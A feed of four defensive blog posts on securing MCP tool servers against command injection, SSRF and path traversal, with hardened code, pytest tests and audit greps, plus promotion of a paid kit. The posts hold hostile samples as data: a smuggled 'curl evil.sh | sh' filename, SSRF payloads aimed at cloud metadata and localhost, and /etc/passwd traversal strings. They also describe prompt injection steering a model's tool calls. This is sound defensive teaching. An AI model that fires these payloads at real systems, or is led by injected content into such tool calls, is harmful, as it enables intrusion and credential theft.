DEV Community: MCP Security Notes

Command injection in MCP tools: the subprocess pattern that hands an LLM a shell

MCP Security Notes — Wed, 12 Aug 2026 07:04:44 +0000

Most MCP (Model Context Protocol) servers ship at least one tool that runs a command, formats a filename, or calls out to git, ffmpeg, or a shell one-liner. The moment that command string is built from a tool argument, you've handed the model — and anything that can prompt-inject the model — a shell on your box.

This is the command-injection sibling of the path-traversal guard I wrote about earlier. Same root cause: untrusted tool input reaching a dangerous sink unbounded. Here's the pattern, why it bites, and the fix that actually holds.

The vulnerable pattern

A "convenience" tool that shells out:

@mcp.tool()
def convert_audio(filename: str, target_format: str) -> str:
    """Convert an audio file to another format."""
    cmd = f"ffmpeg -i {filename} output.{target_format}"
    result = os.popen(cmd).read()          # <-- sink
    return result

Looks harmless. But filename and target_format are strings the model chooses, and the model can be steered by any document, web page, or file it reads. An attacker who controls a single piece of the model's context can get it to call:

filename = "in.wav; curl evil.sh | sh; echo"

and now ffmpeg -i in.wav; curl evil.sh | sh; echo output.mp3 runs through the shell. os.system, os.popen, subprocess.run(..., shell=True), and any f"..."-built command string are all the same sink.

Why the usual "fixes" don't hold

Escaping quotes / blacklisting ; and | — leaks. Shells have dozens of metacharacters (`, $(), &&, \n, >, globbing). You will miss one.
shlex.quote() on the whole string — better, but people apply it to the wrong thing or forget one argument, and it still assumes you need a shell. You usually don't.

The fix: no shell, argument vector, validated inputs

Three rules, all of which must hold:

import subprocess, re
from pathlib import Path

ALLOWED_FORMATS = {"mp3", "wav", "flac", "ogg"}
BASE_DIR = Path("/srv/media").resolve()

def convert_audio(filename: str, target_format: str) -> str:
    # 1. Whitelist the enum-like input. Never pattern-match it away — enumerate it.
    if target_format not in ALLOWED_FORMATS:
        raise ValueError("unsupported format")

    # 2. Resolve and bound any path input (path-traversal guard).
    src = (BASE_DIR / filename).resolve()
    if not src.is_relative_to(BASE_DIR) or not src.is_file():
        raise ValueError("invalid file")

    out = src.with_suffix(f".{target_format}")

    # 3. No shell. Pass an argv LIST so arguments can never be reparsed as commands.
    proc = subprocess.run(
        ["ffmpeg", "-i", str(src), str(out)],
        capture_output=True, text=True, timeout=30, check=False,
    )
    if proc.returncode != 0:
        raise RuntimeError("conversion failed")
    return str(out)

Why each rule matters:

Whitelist enum inputs. target_format has a small known set. Enumerate it. A regex like ^[a-z0-9]+$ still lets through mkv you didn't mean to support and gives a false sense of safety.
Bound path inputs. resolve() + is_relative_to(BASE_DIR) stops ../../etc/passwd and symlink escapes.
Argument vector, no shell. subprocess.run([...]) with a list and no shell=True means the OS execs ffmpeg directly with those exact args. "in.wav; curl evil.sh | sh" becomes one literal (nonsensical) filename argument — it is never parsed by a shell, so there is nothing to inject.

Add timeout= so a hung or fork-bombing subprocess can't wedge your server, and never interpolate model output straight into a later command.

Quick self-audit

Grep your server for the sinks:

grep -rnE "os\.(system|popen)|shell\s*=\s*True|subprocess\.(run|call|Popen)\(f" server/

Every hit that touches a tool argument is a finding. If you want it checked automatically across path-traversal, command injection, unsafe deserialization, SSRF, and hardcoded secrets in one pass, paste your tool code into the free client-side scanner I built — it runs entirely in your browser, nothing is uploaded:

→ Free MCP tool security scanner

And if you want the full set of copy-paste guards (validated argv wrappers, path bounding, a deserialization allowlist, an SSRF filter, and a pre-deploy checklist) packaged for a whole server, the MCP Server Security Hardening Kit collects them.

The rule to remember: an MCP tool argument is attacker-controllable input. Treat every command, path, and deserializer it touches as hostile, and it can't hurt you.

The SSRF guard your MCP fetch_url tool is missing

MCP Security Notes — Wed, 12 Aug 2026 02:08:36 +0000

If your MCP server has any tool that takes a URL and fetches it — fetch_url, read_web, summarize_page, a webhook caller — an attacker who controls the model's input can point it at http://169.254.169.254/latest/meta-data/ and read your cloud credentials, or at http://localhost:6379 to poke an internal service. That's SSRF, and a scheme check alone does not stop it. Here's a resolver-based guard that does, plus the DNS-rebinding and redirect gaps most guides miss.

Why the common fixes fail

# BROKEN 1: block "localhost" by string
if "localhost" in url or "127.0.0.1" in url:  # 0x7f.1, 127.1, [::1], 2130706433 all bypass
    reject()

# BROKEN 2: check the hostname, then fetch by hostname
host = urlparse(url).hostname
if is_private(host):        # host is a NAME, not an IP — DNS can point it anywhere
    reject()
requests.get(url)           # re-resolves; attacker's DNS returns 169.254.169.254 the 2nd time

Two real gaps:

Blocklists lose. There are dozens of ways to spell a private IP (decimal, octal, IPv6-mapped). You cannot enumerate the bad ones — allowlist the scheme and reject by resolved IP class instead.
TOCTOU / DNS rebinding. If you validate a hostname and then let the HTTP client resolve it again, the attacker's DNS can answer "public" on the first lookup and "internal" on the second.

The guard: resolve once, validate the IP, connect to that IP

import ipaddress, socket
from urllib.parse import urlparse

def safe_target(url: str):
    u = urlparse(url)
    if u.scheme not in ("http", "https"):        # no file://, gopher://, ftp://
        return None
    if not u.hostname:
        return None
    # resolve ONCE, ourselves
    try:
        infos = socket.getaddrinfo(u.hostname, u.port or (443 if u.scheme=="https" else 80),
                                   proto=socket.IPPROTO_TCP)
    except socket.gaierror:
        return None
    ip = ipaddress.ip_address(infos[0][4][0])
    if (ip.is_private or ip.is_loopback or ip.is_link_local
            or ip.is_reserved or ip.is_multicast or ip.is_unspecified):
        return None                              # 169.254/16, 127/8, 10/8, ::1, etc. all covered
    return str(ip)                               # connect to THIS ip, not the hostname

Then pin the connection to the IP you validated so the client can't re-resolve:

import requests

def fetch(url: str, max_bytes=2_000_000):
    ip = safe_target(url)
    if ip is None:
        raise ValueError("blocked target")
    u = urlparse(url)
    # connect to the validated IP, keep Host header + SNI for TLS
    pinned = url.replace(u.hostname, ip, 1)
    r = requests.get(pinned, headers={"Host": u.hostname}, stream=True,
                     timeout=5, allow_redirects=False)   # <-- handle redirects yourself
    body = r.raw.read(max_bytes + 1, decode_content=True)
    if len(body) > max_bytes:
        raise ValueError("response too large")
    return body

Three things that guide-grade snippets skip:

allow_redirects=False. A 302 to http://169.254.169.254/ bypasses every up-front check. Follow redirects manually, re-running safe_target on each Location.
Cap the body. Unbounded reads let an attacker DoS you with a multi-GB response. Stream and stop.
Set a timeout. No timeout means a hostile host holds your worker open forever.

The test that proves it

import pytest
from mymcp.net import safe_target

@pytest.mark.parametrize("evil", [
    "http://169.254.169.254/latest/meta-data/",
    "http://127.0.0.1:6379/",
    "http://localhost/",
    "http://[::1]/",
    "http://0177.0.0.1/",          # octal 127.0.0.1
    "http://2130706433/",          # decimal 127.0.0.1
    "http://10.0.0.5/",
    "file:///etc/passwd",
    "gopher://internal/_x",
])
def test_ssrf_blocked(evil):
    assert safe_target(evil) is None

def test_public_allowed():
    assert safe_target("https://example.com/") is not None

If test_ssrf_blocked is green on all of those, you've closed the class — including the numeric-encoding tricks that beat every string blocklist.

This is one of six guards I keep in a hardening kit for MCP servers — SSRF, symlink-safe path containment, argv-only exec, safe deserialization, input bounds, and a pre-deploy grep + payload checklist with tests. Want to check your own server first? Paste it into the free MCP Server Security Scanner — instant findings, 100% in your browser. The full copy-paste guards + tests are the MCP Server Security Hardening Kit ($19). The resolver and tests above are yours free — ship them today.

A path-traversal guard for MCP file tools that actually survives symlinks

MCP Security Notes — Tue, 11 Aug 2026 11:07:34 +0000

If your MCP server exposes a read_file / write_file / list_dir tool, it is one clever prompt away from serving /etc/passwd to whoever controls the model's input. The naive fixes — prefix checks, os.path.normpath, stripping .. — all fail against symlinks and absolute paths. Here is a guard that holds, plus the regression test that keeps it holding.

Why the obvious fixes leak

# BROKEN 1: prefix check on the raw string
if not user_path.startswith(BASE):   # "/base/../etc/passwd".startswith("/base") is True
    reject()

# BROKEN 2: normpath, then join
open(os.path.join(BASE, os.path.normpath(user_path)))  # normpath doesn't resolve symlinks

normpath is pure string math. A symlink inside BASE that points to / turns a "safe" relative path into a full-filesystem read. Absolute paths (/etc/passwd) sail straight through a join in many languages.

The guard: resolve first, then contain

from pathlib import Path

def resolve_within(base: str, user_path: str) -> Path | None:
    base_p = Path(base).resolve(strict=True)      # canonical, symlinks followed
    target = (base_p / user_path).resolve(strict=False)
    # containment check that works for base itself and everything under it
    if target == base_p or base_p in target.parents:
        return target
    return None                                   # REFUSE — never clamp/repair

Two rules that matter more than the code:

Refuse, don't repair. Sanitizing (user_path.replace("..","")) is where the regression re-opens six months later. Return None and error out.
.resolve() on the target, not just the base. Resolving the target is what collapses .. and dereferences symlinks so the containment check sees the real destination.

The test that keeps it closed

A guard without a regression test rots. Fire the actual attacker payloads at it:

import pytest
from mymcp.paths import resolve_within

BASE = "/srv/sandbox"

@pytest.mark.parametrize("evil", [
    "../../../../etc/passwd",
    "/etc/passwd",
    "..%2f..%2fetc%2fpasswd",     # if you url-decode before calling, test the decoded form too
    "sub/../../etc/passwd",
    "./././../etc/shadow",
])
def test_traversal_refused(evil):
    assert resolve_within(BASE, evil) is None

def test_symlink_escape_refused(tmp_path):
    base = tmp_path / "sandbox"; base.mkdir()
    (base / "link").symlink_to("/etc")            # symlink out of the sandbox
    assert resolve_within(str(base), "link/passwd") is None

def test_legit_path_allowed(tmp_path):
    base = tmp_path / "sandbox"; base.mkdir()
    (base / "notes.txt").write_text("ok")
    assert resolve_within(str(base), "notes.txt") is not None

If test_symlink_escape_refused passes, you have beaten the class of bug that string-based guards miss.

One more: this is per-call-site, not per-app

The regression that bites is a second file tool added later that opens paths directly and forgets to route through resolve_within. Grep every release:

grep -rnE "open\(|Path\(|send_file|shutil\.(copy|move)" src/ | grep -v resolve_within

Every hit is a call site to audit.

This is one guard of six I keep in a hardening kit for MCP servers — path containment, argv-only subprocess, safe deserialization, an SSRF resolver for fetch_url tools, input bounds, and a pre-deploy grep+payload checklist with tests. If you want the whole set as copy-paste code, it's the MCP Server Security Hardening Kit ($19). The guard and tests above are yours free — ship them today.

Free tool: paste your MCP server's tool code into the MCP Server Security Scanner and get instant findings across all six vuln classes — path traversal, command injection, unsafe deserialization, SSRF, hardcoded secrets and input bounds. 100% client-side, your code never leaves the browser.

6 ways MCP servers get pwned — and the code that stops each one

MCP Security Notes — Tue, 11 Aug 2026 06:47:02 +0000

MCP (Model Context Protocol) servers hand an LLM real tools: read a file, run a command, fetch a URL. The problem: the arguments to those tools are driven by untrusted content — a web page, a document, another model. That is a textbook injection surface, and MCP servers are shipping with the same six holes over and over. Here is each one with a copy-paste fix.

1. Path traversal → arbitrary file read

A read_file tool that does open(base + user_path) leaks /etc/passwd the moment the model is told to read ../../../../etc/passwd. Symlinks and absolute paths bypass naive prefix checks.

from pathlib import Path

def resolve_within(base: str, user_path: str) -> Path | None:
    base_p = Path(base).resolve()
    target = (base_p / user_path).resolve()   # resolves .. and symlinks
    if base_p not in target.parents and target != base_p:
        return None                            # refuse, don't clamp
    return target

Refuse on None. Never "clean" the path and continue — that is how the regression re-opens.

2. Command execution → RCE

subprocess.run(f"convert {name}", shell=True) is game over. Any tool arg the model influences is attacker-controlled.

subprocess.run(["convert", name], shell=False, timeout=10)  # argv list, never a string

Whitelist the args the user actually controls; reject anything not on the list.

3. Unsafe deserialization → RCE

pickle.load, torch.load (pre-2.6 default), yaml.load without a safe loader, and numpy.load(allow_pickle=True) all execute code on load. This is huntr's most-paid MCP/AI bug class.

import yaml
yaml.safe_load(data)                     # not yaml.load
torch.load(f, weights_only=True)         # not the default on old versions
# for models: prefer safetensors over pickle entirely

4. SSRF in URL-fetching tools

A fetch_url tool will happily hit http://169.254.169.254/ (cloud metadata) or http://localhost:6379. Resolve the host and block private ranges before connecting.

import ipaddress, socket
def is_public(host: str) -> bool:
    ip = ipaddress.ip_address(socket.gethostbyname(host))
    return not (ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved)

Also disable redirects and cap the response size.

5. Secret leakage

Don't put keys in tool code or echo request data back unsanitized. Bound every input's length and type; a 50MB "filename" is an attack, not a filename.

6. No pre-deploy check

Run this every release:

grep -rn "shell=True\|os.system\|subprocess.call(" src/
grep -rn "pickle.load\|yaml.load(\|torch.load(\|allow_pickle=True" src/
grep -rn "open(\|Path(\|send_file\|extractall" src/

Then fire the attacker payloads (../, 169.254.169.254, a pickle with a __reduce__) at a local instance and confirm every one is refused.

I audit MCP servers and AI/ML packages for a living. If you want the full thing — a symlink/absolute-proof path guard with its call-site regression test, the SSRF resolver, the safe-deserialization swaps, and the exact attacker payloads to fire at your own server — I packaged it as a MCP Server Security Hardening Kit ($19). The pre-deploy checklist above is free; the kit is the code that makes every box pass.

Ship it secure.